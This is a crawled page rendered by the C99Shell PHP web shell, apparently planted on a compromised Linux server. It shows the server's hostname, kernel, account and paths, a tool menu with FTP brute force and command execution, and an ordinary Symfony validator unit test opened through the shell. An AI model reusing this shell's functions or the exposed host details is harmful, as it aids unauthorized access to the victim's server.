!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/test/Validator/Symfony/Component/Validator/Tests/Mapping/Loader/   drwxr-xr-x
Free 291.89 GB of 429.69 GB (67.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AnnotationLoaderTest.php (6.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Validator\Tests\Mapping\Loader;

use 
Doctrine\Common\Annotations\AnnotationReader;
use 
Symfony\Component\Validator\Constraints\All;
use 
Symfony\Component\Validator\Constraints\Callback;
use 
Symfony\Component\Validator\Constraints\Collection;
use 
Symfony\Component\Validator\Constraints\NotNull;
use 
Symfony\Component\Validator\Constraints\Range;
use 
Symfony\Component\Validator\Constraints\Choice;
use 
Symfony\Component\Validator\Mapping\ClassMetadata;
use 
Symfony\Component\Validator\Mapping\Loader\AnnotationLoader;
use 
Symfony\Component\Validator\Tests\Fixtures\ConstraintA;

class 
AnnotationLoaderTest extends \PHPUnit_Framework_TestCase
{
    public function 
testLoadClassMetadataReturnsTrueIfSuccessful()
    {
        
$reader = new AnnotationReader();
        
$loader = new AnnotationLoader($reader);
        
$metadata = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\Entity');

        
$this->assertTrue($loader->loadClassMetadata($metadata));
    }

    public function 
testLoadClassMetadataReturnsFalseIfNotSuccessful()
    {
        
$loader = new AnnotationLoader(new AnnotationReader());
        
$metadata = new ClassMetadata('\stdClass');

        
$this->assertFalse($loader->loadClassMetadata($metadata));
    }

    public function 
testLoadClassMetadata()
    {
        
$loader = new AnnotationLoader(new AnnotationReader());
        
$metadata = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\Entity');

        
$loader->loadClassMetadata($metadata);

        
$expected = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\Entity');
        
$expected->setGroupSequence(array('Foo''Entity'));
        
$expected->addConstraint(new ConstraintA());
        
$expected->addConstraint(new Callback(array('Symfony\Component\Validator\Tests\Fixtures\CallbackClass''callback')));
        
$expected->addConstraint(new Callback('validateMe'));
        
$expected->addConstraint(new Callback('validateMeStatic'));
        
$expected->addPropertyConstraint('firstName', new NotNull());
        
$expected->addPropertyConstraint('firstName', new Range(array('min' => 3)));
        
$expected->addPropertyConstraint('firstName', new All(array(new NotNull(), new Range(array('min' => 3)))));
        
$expected->addPropertyConstraint('firstName', new All(array('constraints' => array(new NotNull(), new Range(array('min' => 3))))));
        
$expected->addPropertyConstraint('firstName', new Collection(array('fields' => array(
            
'foo' => array(new NotNull(), new Range(array('min' => 3))),
            
'bar' => new Range(array('min' => 5)),
        ))));
        
$expected->addPropertyConstraint('firstName', new Choice(array(
            
'message' => 'Must be one of %choices%',
            
'choices' => array('A''B'),
        )));
        
$expected->addGetterConstraint('lastName', new NotNull());

        
// load reflection class so that the comparison passes
        
$expected->getReflectionClass();

        
$this->assertEquals($expected$metadata);
    }

    
/**
     * Test MetaData merge with parent annotation.
     */
    
public function testLoadParentClassMetadata()
    {
        
$loader = new AnnotationLoader(new AnnotationReader());

        
// Load Parent MetaData
        
$parent_metadata = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\EntityParent');
        
$loader->loadClassMetadata($parent_metadata);

        
$expected_parent = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\EntityParent');
        
$expected_parent->addPropertyConstraint('other', new NotNull());
        
$expected_parent->getReflectionClass();

        
$this->assertEquals($expected_parent$parent_metadata);
    }
    
/**
     * Test MetaData merge with parent annotation.
     */
    
public function testLoadClassMetadataAndMerge()
    {
        
$loader = new AnnotationLoader(new AnnotationReader());

        
// Load Parent MetaData
        
$parent_metadata = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\EntityParent');
        
$loader->loadClassMetadata($parent_metadata);

        
$metadata = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\Entity');

        
// Merge parent metaData.
        
$metadata->mergeConstraints($parent_metadata);

        
$loader->loadClassMetadata($metadata);

        
$expected_parent = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\EntityParent');
        
$expected_parent->addPropertyConstraint('other', new NotNull());
        
$expected_parent->getReflectionClass();

        
$expected = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\Entity');
        
$expected->mergeConstraints($expected_parent);

        
$expected->setGroupSequence(array('Foo''Entity'));
        
$expected->addConstraint(new ConstraintA());
        
$expected->addConstraint(new Callback(array('Symfony\Component\Validator\Tests\Fixtures\CallbackClass''callback')));
        
$expected->addConstraint(new Callback('validateMe'));
        
$expected->addConstraint(new Callback('validateMeStatic'));
        
$expected->addPropertyConstraint('firstName', new NotNull());
        
$expected->addPropertyConstraint('firstName', new Range(array('min' => 3)));
        
$expected->addPropertyConstraint('firstName', new All(array(new NotNull(), new Range(array('min' => 3)))));
        
$expected->addPropertyConstraint('firstName', new All(array('constraints' => array(new NotNull(), new Range(array('min' => 3))))));
        
$expected->addPropertyConstraint('firstName', new Collection(array('fields' => array(
            
'foo' => array(new NotNull(), new Range(array('min' => 3))),
            
'bar' => new Range(array('min' => 5)),
        ))));
        
$expected->addPropertyConstraint('firstName', new Choice(array(
            
'message' => 'Must be one of %choices%',
            
'choices' => array('A''B'),
        )));
        
$expected->addGetterConstraint('lastName', new NotNull());

        
// load reflection class so that the comparison passes
        
$expected->getReflectionClass();

        
$this->assertEquals($expected$metadata);
    }

    public function 
testLoadGroupSequenceProviderAnnotation()
    {
        
$loader = new AnnotationLoader(new AnnotationReader());

        
$metadata = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\GroupSequenceProviderEntity');
        
$loader->loadClassMetadata($metadata);

        
$expected = new ClassMetadata('Symfony\Component\Validator\Tests\Fixtures\GroupSequenceProviderEntity');
        
$expected->setGroupSequenceProvider(true);
        
$expected->getReflectionClass();

        
$this->assertEquals($expected$metadata);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0989 ]--